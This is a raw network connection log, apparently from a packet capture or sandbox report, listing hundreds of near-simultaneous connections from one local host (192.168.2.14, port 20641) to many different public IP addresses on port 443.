Oct 17, 2024 02:19:42.149271965 CEST	20641	443	192.168.2.14	118.47.88.185
Oct 17, 2024 02:19:42.149271965 CEST	20641	443	192.168.2.14	109.182.66.255
Oct 17, 2024 02:19:42.149271965 CEST	20641	443	192.168.2.14	2.95.88.168
Oct 17, 2024 02:19:42.149276018 CEST	20641	443	192.168.2.14	79.82.74.160
Oct 17, 2024 02:19:42.149276018 CEST	20641	443	192.168.2.14	42.19.231.40
Oct 17, 2024 02:19:42.149276018 CEST	20641	443	192.168.2.14	118.19.167.48
Oct 17, 2024 02:19:42.149291992 CEST	20641	443	192.168.2.14	212.141.54.174
Oct 17, 2024 02:19:42.149291992 CEST	20641	443	192.168.2.14	202.217.100.60
Oct 17, 2024 02:19:42.149306059 CEST	20641	443	192.168.2.14	118.228.173.43
Oct 17, 2024 02:19:42.149301052 CEST	20641	443	192.168.2.14	117.42.0.209
Oct 17, 2024 02:19:42.149301052 CEST	20641	443	192.168.2.14	2.6.108.127
Oct 17, 2024 02:19:42.149301052 CEST	20641	443	192.168.2.14	178.215.23.188
Oct 17, 2024 02:19:42.149301052 CEST	20641	443	192.168.2.14	79.173.145.95
Oct 17, 2024 02:19:42.149321079 CEST	20641	443	192.168.2.14	148.42.75.206
Oct 17, 2024 02:19:42.149321079 CEST	20641	443	192.168.2.14	42.225.48.242
Oct 17, 2024 02:19:42.149323940 CEST	20641	443	192.168.2.14	79.11.196.118
Oct 17, 2024 02:19:42.149323940 CEST	20641	443	192.168.2.14	42.137.109.116
Oct 17, 2024 02:19:42.149336100 CEST	20641	443	192.168.2.14	148.19.5.72
Oct 17, 2024 02:19:42.149336100 CEST	20641	443	192.168.2.14	123.68.85.200
Oct 17, 2024 02:19:42.149342060 CEST	20641	443	192.168.2.14	109.135.56.214
Oct 17, 2024 02:19:42.149350882 CEST	20641	443	192.168.2.14	118.106.241.148
Oct 17, 2024 02:19:42.149352074 CEST	20641	443	192.168.2.14	178.87.157.101
Oct 17, 2024 02:19:42.149350882 CEST	20641	443	192.168.2.14	5.216.99.42
Oct 17, 2024 02:19:42.149352074 CEST	20641	443	192.168.2.14	212.54.32.93
Oct 17, 2024 02:19:42.149358034 CEST	20641	443	192.168.2.14	42.165.248.51
Oct 17, 2024 02:19:42.149368048 CEST	20641	443	192.168.2.14	212.161.195.178
Oct 17, 2024 02:19:42.149368048 CEST	20641	443	192.168.2.14	178.155.138.201
Oct 17, 2024 02:19:42.149372101 CEST	20641	443	192.168.2.14	202.233.138.46
Oct 17, 2024 02:19:42.149384975 CEST	20641	443	192.168.2.14	118.80.197.205
Oct 17, 2024 02:19:42.149388075 CEST	20641	443	192.168.2.14	202.75.156.92
Oct 17, 2024 02:19:42.149396896 CEST	20641	443	192.168.2.14	79.66.140.172
Oct 17, 2024 02:19:42.149398088 CEST	20641	443	192.168.2.14	94.105.141.5
Oct 17, 2024 02:19:42.149396896 CEST	20641	443	192.168.2.14	117.206.83.60
Oct 17, 2024 02:19:42.149396896 CEST	20641	443	192.168.2.14	118.176.41.63
Oct 17, 2024 02:19:42.149398088 CEST	20641	443	192.168.2.14	118.122.93.149
Oct 17, 2024 02:19:42.149398088 CEST	20641	443	192.168.2.14	212.168.249.195
Oct 17, 2024 02:19:42.149401903 CEST	20641	443	192.168.2.14	202.154.32.31
Oct 17, 2024 02:19:42.149414062 CEST	20641	443	192.168.2.14	2.80.150.225
Oct 17, 2024 02:19:42.149414062 CEST	20641	443	192.168.2.14	202.156.77.105
Oct 17, 2024 02:19:42.149418116 CEST	20641	443	192.168.2.14	109.21.72.58
Oct 17, 2024 02:19:42.149421930 CEST	20641	443	192.168.2.14	212.227.246.243
Oct 17, 2024 02:19:42.149425030 CEST	20641	443	192.168.2.14	123.63.145.139
Oct 17, 2024 02:19:42.149441004 CEST	20641	443	192.168.2.14	202.236.233.105
Oct 17, 2024 02:19:42.149449110 CEST	20641	443	192.168.2.14	79.148.69.77
Oct 17, 2024 02:19:42.149462938 CEST	20641	443	192.168.2.14	42.117.122.213
Oct 17, 2024 02:19:42.149466991 CEST	20641	443	192.168.2.14	94.76.135.249
Oct 17, 2024 02:19:42.149466991 CEST	20641	443	192.168.2.14	123.11.44.23
Oct 17, 2024 02:19:42.149466991 CEST	20641	443	192.168.2.14	109.125.214.183
Oct 17, 2024 02:19:42.149467945 CEST	20641	443	192.168.2.14	202.233.104.234
Oct 17, 2024 02:19:42.149486065 CEST	20641	443	192.168.2.14	178.36.255.146
Oct 17, 2024 02:19:42.149486065 CEST	20641	443	192.168.2.14	212.123.51.222
Oct 17, 2024 02:19:42.149486065 CEST	20641	443	192.168.2.14	148.123.62.201
Oct 17, 2024 02:19:42.149487019 CEST	20641	443	192.168.2.14	178.219.87.219
Oct 17, 2024 02:19:42.149486065 CEST	20641	443	192.168.2.14	148.235.240.20
Oct 17, 2024 02:19:42.149488926 CEST	20641	443	192.168.2.14	117.159.223.34
Oct 17, 2024 02:19:42.149492979 CEST	20641	443	192.168.2.14	2.172.191.89
Oct 17, 2024 02:19:42.149517059 CEST	20641	443	192.168.2.14	94.52.240.98
Oct 17, 2024 02:19:42.149518013 CEST	20641	443	192.168.2.14	79.185.26.22
Oct 17, 2024 02:19:42.149518013 CEST	20641	443	192.168.2.14	178.148.183.76
Oct 17, 2024 02:19:42.149519920 CEST	20641	443	192.168.2.14	109.213.60.54
Oct 17, 2024 02:19:42.149528980 CEST	20641	443	192.168.2.14	118.41.18.22
Oct 17, 2024 02:19:42.149528980 CEST	20641	443	192.168.2.14	148.197.163.92
Oct 17, 2024 02:19:42.149533987 CEST	20641	443	192.168.2.14	210.233.1.138
Oct 17, 2024 02:19:42.149534941 CEST	20641	443	192.168.2.14	202.213.167.202
Oct 17, 2024 02:19:42.149543047 CEST	20641	443	192.168.2.14	123.244.190.168
Oct 17, 2024 02:19:42.149548054 CEST	20641	443	192.168.2.14	94.200.193.96
Oct 17, 2024 02:19:42.149557114 CEST	20641	443	192.168.2.14	37.214.193.36
Oct 17, 2024 02:19:42.149563074 CEST	20641	443	192.168.2.14	42.248.164.227
Oct 17, 2024 02:19:42.149563074 CEST	20641	443	192.168.2.14	148.237.144.88
Oct 17, 2024 02:19:42.149569035 CEST	20641	443	192.168.2.14	178.26.27.209
Oct 17, 2024 02:19:42.149574995 CEST	20641	443	192.168.2.14	79.10.56.75
Oct 17, 2024 02:19:42.149576902 CEST	20641	443	192.168.2.14	2.37.249.174
Oct 17, 2024 02:19:42.149594069 CEST	20641	443	192.168.2.14	202.102.16.90
Oct 17, 2024 02:19:42.149594069 CEST	20641	443	192.168.2.14	148.33.12.70
Oct 17, 2024 02:19:42.149596930 CEST	20641	443	192.168.2.14	210.207.156.135
Oct 17, 2024 02:19:42.149596930 CEST	20641	443	192.168.2.14	94.172.230.100
Oct 17, 2024 02:19:42.149611950 CEST	20641	443	192.168.2.14	178.18.64.198
Oct 17, 2024 02:19:42.149600983 CEST	20641	443	192.168.2.14	210.144.226.124
Oct 17, 2024 02:19:42.149600983 CEST	20641	443	192.168.2.14	79.49.40.67
Oct 17, 2024 02:19:42.149600983 CEST	20641	443	192.168.2.14	212.34.125.2
Oct 17, 2024 02:19:42.149621964 CEST	20641	443	192.168.2.14	118.226.125.213
Oct 17, 2024 02:19:42.149621964 CEST	20641	443	192.168.2.14	123.126.232.210
Oct 17, 2024 02:19:42.149635077 CEST	20641	443	192.168.2.14	79.15.240.7
Oct 17, 2024 02:19:42.149642944 CEST	20641	443	192.168.2.14	2.147.146.77
Oct 17, 2024 02:19:42.149660110 CEST	20641	443	192.168.2.14	42.150.1.227
Oct 17, 2024 02:19:42.149660110 CEST	20641	443	192.168.2.14	212.116.61.40
Oct 17, 2024 02:19:42.149665117 CEST	20641	443	192.168.2.14	42.35.174.166
Oct 17, 2024 02:19:42.149666071 CEST	20641	443	192.168.2.14	202.206.85.195
Oct 17, 2024 02:19:42.149677038 CEST	20641	443	192.168.2.14	42.234.254.171
Oct 17, 2024 02:19:42.149677038 CEST	20641	443	192.168.2.14	210.13.144.162
Oct 17, 2024 02:19:42.149683952 CEST	20641	443	192.168.2.14	109.148.167.177
Oct 17, 2024 02:19:42.149692059 CEST	20641	443	192.168.2.14	118.73.160.163
Oct 17, 2024 02:19:42.149692059 CEST	20641	443	192.168.2.14	37.226.210.148
Oct 17, 2024 02:19:42.149693012 CEST	20641	443	192.168.2.14	117.80.38.88
Oct 17, 2024 02:19:42.149693012 CEST	20641	443	192.168.2.14	212.67.245.140
Oct 17, 2024 02:19:42.149691105 CEST	20641	443	192.168.2.14	202.157.0.159
Oct 17, 2024 02:19:42.149691105 CEST	20641	443	192.168.2.14	212.195.218.76
Oct 17, 2024 02:19:42.149704933 CEST	20641	443	192.168.2.14	123.10.8.218
Oct 17, 2024 02:19:42.149705887 CEST	20641	443	192.168.2.14	212.1.236.106
Oct 17, 2024 02:19:42.149708033 CEST	20641	443	192.168.2.14	5.3.146.35
Oct 17, 2024 02:19:42.149730921 CEST	20641	443	192.168.2.14	148.176.64.68
Oct 17, 2024 02:19:42.149730921 CEST	20641	443	192.168.2.14	109.85.50.22
Oct 17, 2024 02:19:42.149734020 CEST	20641	443	192.168.2.14	94.57.170.195
Oct 17, 2024 02:19:42.149734020 CEST	20641	443	192.168.2.14	79.76.147.191
Oct 17, 2024 02:19:42.149734020 CEST	20641	443	192.168.2.14	109.233.161.193
Oct 17, 2024 02:19:42.149735928 CEST	20641	443	192.168.2.14	5.250.145.144
Oct 17, 2024 02:19:42.149741888 CEST	20641	443	192.168.2.14	94.110.59.188
Oct 17, 2024 02:19:42.149760962 CEST	20641	443	192.168.2.14	79.162.128.39
Oct 17, 2024 02:19:42.149760962 CEST	20641	443	192.168.2.14	42.230.33.207
Oct 17, 2024 02:19:42.149768114 CEST	20641	443	192.168.2.14	117.121.150.210
Oct 17, 2024 02:19:42.149768114 CEST	20641	443	192.168.2.14	202.252.251.71
Oct 17, 2024 02:19:42.149772882 CEST	20641	443	192.168.2.14	79.207.104.85
Oct 17, 2024 02:19:42.149779081 CEST	20641	443	192.168.2.14	109.1.43.26
Oct 17, 2024 02:19:42.149779081 CEST	20641	443	192.168.2.14	178.175.81.237
Oct 17, 2024 02:19:42.149785042 CEST	20641	443	192.168.2.14	118.239.244.41
Oct 17, 2024 02:19:42.149785042 CEST	20641	443	192.168.2.14	123.218.178.27
Oct 17, 2024 02:19:42.149790049 CEST	20641	443	192.168.2.14	37.42.231.122
Oct 17, 2024 02:19:42.149790049 CEST	20641	443	192.168.2.14	148.101.24.18
Oct 17, 2024 02:19:42.149794102 CEST	20641	443	192.168.2.14	5.132.186.218
Oct 17, 2024 02:19:42.149811983 CEST	20641	443	192.168.2.14	2.65.65.158
Oct 17, 2024 02:19:42.149811983 CEST	20641	443	192.168.2.14	5.52.229.66
Oct 17, 2024 02:19:42.149816036 CEST	20641	443	192.168.2.14	123.172.30.112
Oct 17, 2024 02:19:42.149816036 CEST	20641	443	192.168.2.14	212.239.133.9
Oct 17, 2024 02:19:42.149827957 CEST	20641	443	192.168.2.14	202.64.101.118
Oct 17, 2024 02:19:42.149837017 CEST	20641	443	192.168.2.14	118.195.113.16
Oct 17, 2024 02:19:42.149837971 CEST	20641	443	192.168.2.14	2.131.48.112
Oct 17, 2024 02:19:42.149837017 CEST	20641	443	192.168.2.14	79.13.65.72
Oct 17, 2024 02:19:42.149837971 CEST	20641	443	192.168.2.14	123.252.163.151
Oct 17, 2024 02:19:42.149843931 CEST	20641	443	192.168.2.14	118.172.131.54
Oct 17, 2024 02:19:42.149862051 CEST	20641	443	192.168.2.14	123.224.80.159
Oct 17, 2024 02:19:42.149863005 CEST	20641	443	192.168.2.14	123.227.206.147
Oct 17, 2024 02:19:42.149863005 CEST	20641	443	192.168.2.14	123.5.143.168
Oct 17, 2024 02:19:42.149863958 CEST	20641	443	192.168.2.14	202.238.16.12
Oct 17, 2024 02:19:42.149863958 CEST	20641	443	192.168.2.14	178.118.143.212
Oct 17, 2024 02:19:42.149878025 CEST	20641	443	192.168.2.14	37.62.132.42
Oct 17, 2024 02:19:42.149878025 CEST	20641	443	192.168.2.14	117.46.109.14
Oct 17, 2024 02:19:42.149902105 CEST	20641	443	192.168.2.14	178.22.236.240
Oct 17, 2024 02:19:42.149902105 CEST	20641	443	192.168.2.14	42.208.29.105
Oct 17, 2024 02:19:42.149902105 CEST	20641	443	192.168.2.14	79.48.235.248
Oct 17, 2024 02:19:42.149902105 CEST	20641	443	192.168.2.14	123.155.45.137
Oct 17, 2024 02:19:42.149902105 CEST	20641	443	192.168.2.14	37.46.208.89
Oct 17, 2024 02:19:42.149910927 CEST	20641	443	192.168.2.14	79.147.148.171
Oct 17, 2024 02:19:42.149916887 CEST	20641	443	192.168.2.14	212.106.203.24
Oct 17, 2024 02:19:42.149919033 CEST	20641	443	192.168.2.14	210.243.173.253
Oct 17, 2024 02:19:42.149924040 CEST	20641	443	192.168.2.14	79.149.203.231
Oct 17, 2024 02:19:42.149930954 CEST	20641	443	192.168.2.14	94.238.154.205
Oct 17, 2024 02:19:42.149940968 CEST	20641	443	192.168.2.14	42.75.166.104
Oct 17, 2024 02:19:42.149940968 CEST	20641	443	192.168.2.14	202.223.85.18
Oct 17, 2024 02:19:42.149960041 CEST	20641	443	192.168.2.14	123.128.225.138
Oct 17, 2024 02:19:42.149964094 CEST	20641	443	192.168.2.14	5.166.10.117
Oct 17, 2024 02:19:42.149966002 CEST	20641	443	192.168.2.14	2.117.166.109
Oct 17, 2024 02:19:42.149966002 CEST	20641	443	192.168.2.14	5.135.231.87
Oct 17, 2024 02:19:42.149966002 CEST	20641	443	192.168.2.14	123.90.97.35
Oct 17, 2024 02:19:42.149966002 CEST	20641	443	192.168.2.14	5.12.82.162
Oct 17, 2024 02:19:42.149966002 CEST	20641	443	192.168.2.14	37.22.34.113
Oct 17, 2024 02:19:42.149975061 CEST	20641	443	192.168.2.14	118.55.16.230
Oct 17, 2024 02:19:42.149990082 CEST	20641	443	192.168.2.14	178.104.29.38
Oct 17, 2024 02:19:42.150000095 CEST	20641	443	192.168.2.14	79.172.255.240
Oct 17, 2024 02:19:42.150011063 CEST	20641	443	192.168.2.14	148.24.247.224
Oct 17, 2024 02:19:42.150011063 CEST	20641	443	192.168.2.14	202.16.125.176
Oct 17, 2024 02:19:42.150022030 CEST	20641	443	192.168.2.14	109.228.8.22
Oct 17, 2024 02:19:42.150038958 CEST	20641	443	192.168.2.14	42.25.117.113
Oct 17, 2024 02:19:42.150046110 CEST	20641	443	192.168.2.14	118.6.10.1
Oct 17, 2024 02:19:42.150046110 CEST	20641	443	192.168.2.14	94.143.25.145
Oct 17, 2024 02:19:42.150046110 CEST	20641	443	192.168.2.14	210.99.14.254
Oct 17, 2024 02:19:42.150048971 CEST	20641	443	192.168.2.14	148.116.21.73
Oct 17, 2024 02:19:42.150051117 CEST	20641	443	192.168.2.14	118.140.183.8
Oct 17, 2024 02:19:42.150051117 CEST	20641	443	192.168.2.14	210.60.162.75
Oct 17, 2024 02:19:42.150053024 CEST	20641	443	192.168.2.14	94.15.211.218
Oct 17, 2024 02:19:42.150053024 CEST	20641	443	192.168.2.14	210.151.91.235
Oct 17, 2024 02:19:42.150074959 CEST	20641	443	192.168.2.14	94.237.13.69
Oct 17, 2024 02:19:42.150078058 CEST	20641	443	192.168.2.14	37.232.120.246
Oct 17, 2024 02:19:42.150078058 CEST	20641	443	192.168.2.14	94.28.208.39
Oct 17, 2024 02:19:42.150078058 CEST	20641	443	192.168.2.14	202.176.72.59
Oct 17, 2024 02:19:42.150082111 CEST	20641	443	192.168.2.14	117.227.141.121
Oct 17, 2024 02:19:42.150094986 CEST	20641	443	192.168.2.14	210.56.22.238
Oct 17, 2024 02:19:42.150098085 CEST	20641	443	192.168.2.14	2.142.146.212
Oct 17, 2024 02:19:42.150111914 CEST	20641	443	192.168.2.14	94.186.112.64
Oct 17, 2024 02:19:42.150114059 CEST	20641	443	192.168.2.14	212.135.248.99
Oct 17, 2024 02:19:42.150114059 CEST	20641	443	192.168.2.14	2.111.219.84
Oct 17, 2024 02:19:42.150115013 CEST	20641	443	192.168.2.14	94.224.117.43
Oct 17, 2024 02:19:42.150115013 CEST	20641	443	192.168.2.14	5.120.75.218
Oct 17, 2024 02:19:42.150115013 CEST	20641	443	192.168.2.14	202.5.221.0
Oct 17, 2024 02:19:42.150122881 CEST	20641	443	192.168.2.14	94.151.157.92
Oct 17, 2024 02:19:42.150122881 CEST	20641	443	192.168.2.14	123.57.49.63
Oct 17, 2024 02:19:42.150127888 CEST	20641	443	192.168.2.14	2.90.211.10
Oct 17, 2024 02:19:42.150127888 CEST	20641	443	192.168.2.14	42.104.57.222
Oct 17, 2024 02:19:42.150135040 CEST	20641	443	192.168.2.14	94.5.231.40
Oct 17, 2024 02:19:42.150142908 CEST	20641	443	192.168.2.14	37.221.114.81
Oct 17, 2024 02:19:42.150145054 CEST	20641	443	192.168.2.14	123.45.193.253
Oct 17, 2024 02:19:42.150145054 CEST	20641	443	192.168.2.14	123.202.25.18
Oct 17, 2024 02:19:42.150146961 CEST	20641	443	192.168.2.14	148.17.10.107
Oct 17, 2024 02:19:42.150146961 CEST	20641	443	192.168.2.14	79.55.188.15
Oct 17, 2024 02:19:42.150145054 CEST	20641	443	192.168.2.14	212.203.38.206
Oct 17, 2024 02:19:42.150146961 CEST	20641	443	192.168.2.14	2.44.160.225
Oct 17, 2024 02:19:42.150157928 CEST	20641	443	192.168.2.14	148.75.3.57
Oct 17, 2024 02:19:42.150166035 CEST	20641	443	192.168.2.14	79.177.1.64
Oct 17, 2024 02:19:42.150172949 CEST	20641	443	192.168.2.14	109.151.173.183
Oct 17, 2024 02:19:42.150172949 CEST	20641	443	192.168.2.14	117.217.64.161
Oct 17, 2024 02:19:42.150175095 CEST	20641	443	192.168.2.14	210.76.164.120
Oct 17, 2024 02:19:42.150173903 CEST	20641	443	192.168.2.14	118.136.3.183
Oct 17, 2024 02:19:42.150185108 CEST	20641	443	192.168.2.14	2.209.79.31
Oct 17, 2024 02:19:42.150185108 CEST	20641	443	192.168.2.14	5.49.187.247
Oct 17, 2024 02:19:42.150185108 CEST	20641	443	192.168.2.14	5.194.52.172
Oct 17, 2024 02:19:42.150187016 CEST	20641	443	192.168.2.14	109.158.250.5
Oct 17, 2024 02:19:42.150193930 CEST	20641	443	192.168.2.14	117.136.169.230
Oct 17, 2024 02:19:42.150201082 CEST	20641	443	192.168.2.14	109.195.253.253
Oct 17, 2024 02:19:42.150201082 CEST	20641	443	192.168.2.14	212.212.92.67
Oct 17, 2024 02:19:42.150202036 CEST	20641	443	192.168.2.14	178.33.5.6
Oct 17, 2024 02:19:42.150202036 CEST	20641	443	192.168.2.14	37.0.165.247
Oct 17, 2024 02:19:42.150202990 CEST	20641	443	192.168.2.14	210.224.3.106
Oct 17, 2024 02:19:42.150204897 CEST	20641	443	192.168.2.14	5.94.192.242
Oct 17, 2024 02:19:42.150204897 CEST	20641	443	192.168.2.14	178.162.43.193
Oct 17, 2024 02:19:42.150207043 CEST	20641	443	192.168.2.14	178.94.7.69
Oct 17, 2024 02:19:42.150211096 CEST	20641	443	192.168.2.14	118.27.50.136
Oct 17, 2024 02:19:42.150211096 CEST	20641	443	192.168.2.14	148.240.239.193
Oct 17, 2024 02:19:42.150211096 CEST	20641	443	192.168.2.14	109.92.166.167
Oct 17, 2024 02:19:42.150211096 CEST	20641	443	192.168.2.14	202.184.70.114
Oct 17, 2024 02:19:42.150211096 CEST	20641	443	192.168.2.14	37.83.77.24
Oct 17, 2024 02:19:42.150211096 CEST	20641	443	192.168.2.14	42.130.135.81
Oct 17, 2024 02:19:42.150216103 CEST	20641	443	192.168.2.14	212.59.246.121
Oct 17, 2024 02:19:42.150216103 CEST	20641	443	192.168.2.14	37.132.39.81
Oct 17, 2024 02:19:42.150218964 CEST	20641	443	192.168.2.14	117.118.38.135
Oct 17, 2024 02:19:42.150222063 CEST	20641	443	192.168.2.14	178.238.122.152
Oct 17, 2024 02:19:42.150222063 CEST	20641	443	192.168.2.14	42.163.168.52
Oct 17, 2024 02:19:42.150222063 CEST	20641	443	192.168.2.14	2.211.247.37
Oct 17, 2024 02:19:42.150222063 CEST	20641	443	192.168.2.14	123.58.131.89
Oct 17, 2024 02:19:42.150224924 CEST	20641	443	192.168.2.14	202.49.173.25
Oct 17, 2024 02:19:42.150224924 CEST	20641	443	192.168.2.14	37.198.53.161
Oct 17, 2024 02:19:42.150233030 CEST	20641	443	192.168.2.14	123.17.226.46
Oct 17, 2024 02:19:42.150234938 CEST	20641	443	192.168.2.14	148.154.127.192
Oct 17, 2024 02:19:42.150239944 CEST	20641	443	192.168.2.14	37.133.132.47
Oct 17, 2024 02:19:42.150239944 CEST	20641	443	192.168.2.14	79.198.220.177
Oct 17, 2024 02:19:42.150244951 CEST	20641	443	192.168.2.14	210.249.66.22
Oct 17, 2024 02:19:42.150249958 CEST	20641	443	192.168.2.14	178.19.147.191
Oct 17, 2024 02:19:42.150253057 CEST	20641	443	192.168.2.14	118.30.234.77
Oct 17, 2024 02:19:42.150253057 CEST	20641	443	192.168.2.14	148.103.156.215
Oct 17, 2024 02:19:42.150253057 CEST	20641	443	192.168.2.14	37.241.225.164
Oct 17, 2024 02:19:42.150255919 CEST	20641	443	192.168.2.14	2.250.123.211
Oct 17, 2024 02:19:42.150259972 CEST	20641	443	192.168.2.14	5.178.176.70
Oct 17, 2024 02:19:42.150259972 CEST	20641	443	192.168.2.14	117.33.236.18
Oct 17, 2024 02:19:42.150259972 CEST	20641	443	192.168.2.14	37.158.59.136
Oct 17, 2024 02:19:42.150266886 CEST	20641	443	192.168.2.14	212.122.187.174
Oct 17, 2024 02:19:42.150271893 CEST	20641	443	192.168.2.14	212.186.89.78
Oct 17, 2024 02:19:42.150276899 CEST	20641	443	192.168.2.14	79.61.55.142
Oct 17, 2024 02:19:42.150294065 CEST	20641	443	192.168.2.14	123.219.155.135
Oct 17, 2024 02:19:42.150296926 CEST	20641	443	192.168.2.14	202.239.89.112
Oct 17, 2024 02:19:42.150300980 CEST	20641	443	192.168.2.14	118.56.85.198
Oct 17, 2024 02:19:42.150300980 CEST	20641	443	192.168.2.14	202.204.224.3
Oct 17, 2024 02:19:42.150316954 CEST	20641	443	192.168.2.14	202.34.30.117
Oct 17, 2024 02:19:42.150317907 CEST	20641	443	192.168.2.14	79.198.59.46
Oct 17, 2024 02:19:42.150317907 CEST	20641	443	192.168.2.14	148.239.71.20
Oct 17, 2024 02:19:42.150319099 CEST	20641	443	192.168.2.14	79.83.240.4
Oct 17, 2024 02:19:42.150346041 CEST	20641	443	192.168.2.14	212.199.233.181
Oct 17, 2024 02:19:42.150346041 CEST	20641	443	192.168.2.14	37.28.253.103
Oct 17, 2024 02:19:42.150346994 CEST	20641	443	192.168.2.14	79.238.33.86
Oct 17, 2024 02:19:42.150352001 CEST	20641	443	192.168.2.14	109.147.138.98
Oct 17, 2024 02:19:42.150357008 CEST	20641	443	192.168.2.14	42.83.66.159
Oct 17, 2024 02:19:42.150369883 CEST	20641	443	192.168.2.14	2.34.50.41
Oct 17, 2024 02:19:42.150373936 CEST	20641	443	192.168.2.14	210.128.186.17
Oct 17, 2024 02:19:42.150374889 CEST	20641	443	192.168.2.14	5.151.95.60
Oct 17, 2024 02:19:42.150377035 CEST	20641	443	192.168.2.14	5.74.253.252
Oct 17, 2024 02:19:42.150377035 CEST	20641	443	192.168.2.14	210.128.209.225
Oct 17, 2024 02:19:42.150392056 CEST	20641	443	192.168.2.14	202.136.32.170
Oct 17, 2024 02:19:42.150393963 CEST	20641	443	192.168.2.14	210.24.39.5
Oct 17, 2024 02:19:42.150393963 CEST	20641	443	192.168.2.14	42.58.125.77
Oct 17, 2024 02:19:42.150402069 CEST	20641	443	192.168.2.14	148.205.224.74
Oct 17, 2024 02:19:42.150402069 CEST	20641	443	192.168.2.14	42.135.120.197
Oct 17, 2024 02:19:42.150408030 CEST	20641	443	192.168.2.14	117.216.19.141
Oct 17, 2024 02:19:42.150410891 CEST	20641	443	192.168.2.14	202.138.255.143
Oct 17, 2024 02:19:42.150410891 CEST	20641	443	192.168.2.14	210.125.183.150
Oct 17, 2024 02:19:42.150412083 CEST	20641	443	192.168.2.14	118.48.228.92
Oct 17, 2024 02:19:42.150419950 CEST	20641	443	192.168.2.14	42.113.198.96
Oct 17, 2024 02:19:42.150424957 CEST	20641	443	192.168.2.14	5.109.236.182
Oct 17, 2024 02:19:42.150425911 CEST	20641	443	192.168.2.14	2.27.179.5
Oct 17, 2024 02:19:42.150429964 CEST	20641	443	192.168.2.14	202.138.26.129
Oct 17, 2024 02:19:42.150432110 CEST	20641	443	192.168.2.14	79.222.0.239
Oct 17, 2024 02:19:42.150439978 CEST	20641	443	192.168.2.14	42.100.106.96
Oct 17, 2024 02:19:42.150440931 CEST	20641	443	192.168.2.14	5.210.229.206
Oct 17, 2024 02:19:42.150440931 CEST	20641	443	192.168.2.14	123.43.253.69
Oct 17, 2024 02:19:42.150443077 CEST	20641	443	192.168.2.14	178.104.58.49
Oct 17, 2024 02:19:42.150444031 CEST	20641	443	192.168.2.14	202.241.86.19
Oct 17, 2024 02:19:42.150540113 CEST	20641	443	192.168.2.14	212.19.161.222
Oct 17, 2024 02:19:42.150548935 CEST	20641	443	192.168.2.14	210.188.213.222
Oct 17, 2024 02:19:42.150563955 CEST	20641	443	192.168.2.14	202.11.74.221
Oct 17, 2024 02:19:42.150568962 CEST	20641	443	192.168.2.14	2.150.72.39
Oct 17, 2024 02:19:42.150571108 CEST	20641	443	192.168.2.14	117.255.133.27
Oct 17, 2024 02:19:42.150573015 CEST	20641	443	192.168.2.14	178.249.15.229
Oct 17, 2024 02:19:42.150573015 CEST	20641	443	192.168.2.14	148.246.157.154
Oct 17, 2024 02:19:42.150573015 CEST	20641	443	192.168.2.14	42.11.171.153
Oct 17, 2024 02:19:42.150580883 CEST	20641	443	192.168.2.14	37.160.45.111
Oct 17, 2024 02:19:42.150582075 CEST	20641	443	192.168.2.14	178.36.215.104
Oct 17, 2024 02:19:42.150582075 CEST	20641	443	192.168.2.14	42.131.96.4
Oct 17, 2024 02:19:42.150585890 CEST	20641	443	192.168.2.14	202.123.42.32
Oct 17, 2024 02:19:42.150600910 CEST	20641	443	192.168.2.14	42.139.115.33
Oct 17, 2024 02:19:42.150602102 CEST	20641	443	192.168.2.14	37.131.207.44
Oct 17, 2024 02:19:42.150608063 CEST	20641	443	192.168.2.14	148.165.140.232
Oct 17, 2024 02:19:42.150610924 CEST	20641	443	192.168.2.14	178.39.131.244
Oct 17, 2024 02:19:42.150619030 CEST	20641	443	192.168.2.14	123.11.89.92
Oct 17, 2024 02:19:42.150619030 CEST	20641	443	192.168.2.14	118.231.251.164
Oct 17, 2024 02:19:42.150619030 CEST	20641	443	192.168.2.14	118.28.226.146
Oct 17, 2024 02:19:42.150631905 CEST	20641	443	192.168.2.14	117.41.97.185
Oct 17, 2024 02:19:42.150633097 CEST	20641	443	192.168.2.14	94.221.176.220
Oct 17, 2024 02:19:42.150640965 CEST	20641	443	192.168.2.14	79.116.23.79
Oct 17, 2024 02:19:42.150643110 CEST	20641	443	192.168.2.14	178.152.187.209
Oct 17, 2024 02:19:42.150650024 CEST	20641	443	192.168.2.14	109.93.205.224
Oct 17, 2024 02:19:42.150667906 CEST	20641	443	192.168.2.14	123.55.65.40
Oct 17, 2024 02:19:42.150674105 CEST	20641	443	192.168.2.14	178.47.185.218
Oct 17, 2024 02:19:42.150679111 CEST	20641	443	192.168.2.14	210.111.117.174
Oct 17, 2024 02:19:42.150679111 CEST	20641	443	192.168.2.14	5.27.36.131
Oct 17, 2024 02:19:42.150679111 CEST	20641	443	192.168.2.14	212.104.200.20
Oct 17, 2024 02:19:42.150682926 CEST	20641	443	192.168.2.14	202.164.120.132
Oct 17, 2024 02:19:42.150684118 CEST	20641	443	192.168.2.14	117.195.136.200
Oct 17, 2024 02:19:42.150693893 CEST	20641	443	192.168.2.14	117.161.223.191
Oct 17, 2024 02:19:42.150696039 CEST	20641	443	192.168.2.14	79.254.56.113
Oct 17, 2024 02:19:42.150698900 CEST	20641	443	192.168.2.14	178.145.29.48
Oct 17, 2024 02:19:42.150698900 CEST	20641	443	192.168.2.14	94.152.144.126
Oct 17, 2024 02:19:42.150759935 CEST	20641	443	192.168.2.14	118.41.45.236
Oct 17, 2024 02:19:42.150763035 CEST	20641	443	192.168.2.14	79.108.216.39
Oct 17, 2024 02:19:42.150780916 CEST	20641	443	192.168.2.14	79.132.78.247
Oct 17, 2024 02:19:42.150782108 CEST	20641	443	192.168.2.14	42.93.21.114
Oct 17, 2024 02:19:42.150784969 CEST	20641	443	192.168.2.14	123.166.239.108
Oct 17, 2024 02:19:42.150784969 CEST	20641	443	192.168.2.14	212.201.251.216
Oct 17, 2024 02:19:42.150784969 CEST	20641	443	192.168.2.14	118.233.242.87
Oct 17, 2024 02:19:42.150784969 CEST	20641	443	192.168.2.14	79.109.18.12
Oct 17, 2024 02:19:42.150798082 CEST	20641	443	192.168.2.14	210.162.145.10
Oct 17, 2024 02:19:42.150798082 CEST	20641	443	192.168.2.14	210.106.185.133
Oct 17, 2024 02:19:42.150798082 CEST	20641	443	192.168.2.14	37.146.196.184
Oct 17, 2024 02:19:42.150800943 CEST	20641	443	192.168.2.14	94.246.49.179
Oct 17, 2024 02:19:42.150801897 CEST	20641	443	192.168.2.14	37.87.133.102
Oct 17, 2024 02:19:42.150808096 CEST	20641	443	192.168.2.14	118.188.254.226
Oct 17, 2024 02:19:42.150814056 CEST	20641	443	192.168.2.14	117.193.168.136
Oct 17, 2024 02:19:42.150814056 CEST	20641	443	192.168.2.14	202.74.240.187
